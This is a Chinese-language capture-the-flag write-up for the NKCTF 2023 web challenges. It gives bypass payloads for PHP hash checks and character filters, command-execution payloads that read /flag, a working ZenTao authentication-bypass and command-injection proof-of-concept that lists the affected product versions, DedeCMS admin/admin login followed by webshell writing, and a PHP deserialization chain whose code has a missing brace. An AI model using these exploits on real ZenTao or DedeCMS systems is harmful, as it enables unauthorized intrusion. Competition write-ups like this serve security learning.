2023NKCTF----web

EZPHP

 

一个一个慢慢绕过

第一层  MD5弱比较

参数a和b选其中一个进行绕过

QNKCDZO

240610708

s878926199a

s155964671a

第二层   sha1绕过

用两个sha1相同的值进行绕过（注意这里不能用burp）

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

第三层  intval     参考这个用114514.01进行绕过

第四层   NS_CTF.go  

对这个参数进行传参要注意的是  不能又_   用[代替

最后一层过滤掉了所有的可见字符   

参考这篇文章 构造无数字字符的命令

无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）_无字母数字异或运算绕过_yu22x的博客-CSDN博客

找一个在线运行php的

<?php

$a=urlencode(~('system'));

$b=urlencode(~('cat /flag'));

echo $a;

echo "\n";

echo $b;

?>

 

传参:cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

得到最后的flag

 PMS

禅道nady  上exp

# -*- coding: UTF-8 -*-
# !/usr/bin/python

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
    # "http": "127.0.0.1:8080",
    # "https": "127.0.0.1:8080",
}


def check(url):
    url1 = url + '/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": url + "/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`tac /flag`'
    s = requests.session()
    try:
        req1 = s.get(url1, proxies=proxies, timeout=5, verify=False, headers=headers)
        req3 = s.post(url3, data=data1, proxies=proxies, timeout=5, verify=False, headers=headers2)
        req4 = s.post(url4, data=data2, proxies=proxies, timeout=5, verify=False, headers=headers2)
        if 'uid=' not in req4.text:
            print(url, "")
            print(req4.text)
            return True
    except Exception as e:
        print(e)
    return False


if __name__ == '__main__':
    print(check("http://1a64a76c-8af4-4111-9d02-a29992f2e9d6.node2.yuzhian.com.cn/"))

参考这篇博客

https://blog.csdn.net/qq_41904294/article/details/128838423

Hardphp 

<?php 
// not only ++ 
error_reporting(0); 
highlight_file(__FILE__); 

if (isset($_POST['NKCTF'])) { 
    $NK = $_POST['NKCTF']; 
    if (is_string($NK)) { 
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){ 
            eval($NK); 
        }else{ 
            echo("hacker!!!"); 
        } 
    }else{ 
        phpinfo(); 
    } 
} 
?>

Rce绕过  过滤可见字符一堆符合这里~ >都被过滤了只能用自增的方式来进行绕过

尝试了一圈发现都不太行  先phpinfo看看系统禁用了那些函数

构造一个数组让他报错执行phpinfo

过滤了很多函数   其中命令执行函数system被禁用了

再来继续看代码

 

 

过滤了所有的大小写字母和数字  常用的绕过方法取反~  异或^  均被过滤了这里还能采用另外一种方式  自增进行绕过

参考文章：

https://www.q1jun.cn/2023/01/21/9ccea94598fa-q1jun/#0x02-%E9%A2%98%E7%9B%AE%E8%AF%A6%E6%83%85

用readfile  读取flag

构造的payload

NKCTF=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=readfile&_=/flag

easy_cms 
 

织梦cms默认的后台界面

http://b5b35e86-4cba-4de3-a814-5c4896dd6607.node2.yuzhian.com.cn/dede

弱口令  admin  admin登录进后台

查看模板设置  禁用了很多函数

 

将禁用函数全部删除

利用上传接口上传文件  直接传shell会被waf拦这里用文件写入的方法写入shell

上传文件  

 

访问执行

 

成功写入shell

 

 

baby_php 

构造顺序：

Welcome:: destruct -> Hel10:: tostring-> Happy:: invoke

参考文章：https://www.cnblogs.com/superwinner/p/17260940.html

unserialize  php反序列化

url编码绕过正则检测

pop链

<?php
class Welcome{
        public $name;
        public $arg;
    }
class Happy{
        public $shell;
        public $cmd;

class Hell0{
        public $func;
    }
$welcome = new Welcome();   //实例化对象
$welcome->name = "welcome_to_NKCTF";  //对welcome对象的name进行赋值
$happy = new Happy();
$hello = new Hell0();
$happy->shell = "urldecode";
$happy->cmd = "%73%79%73%74%65%6d%28%27%6c%73%20/%27%29%3b";
$hello->func = $happy;
$welcome->arg = $hello;
echo urlencode(serialize($welcome));
?>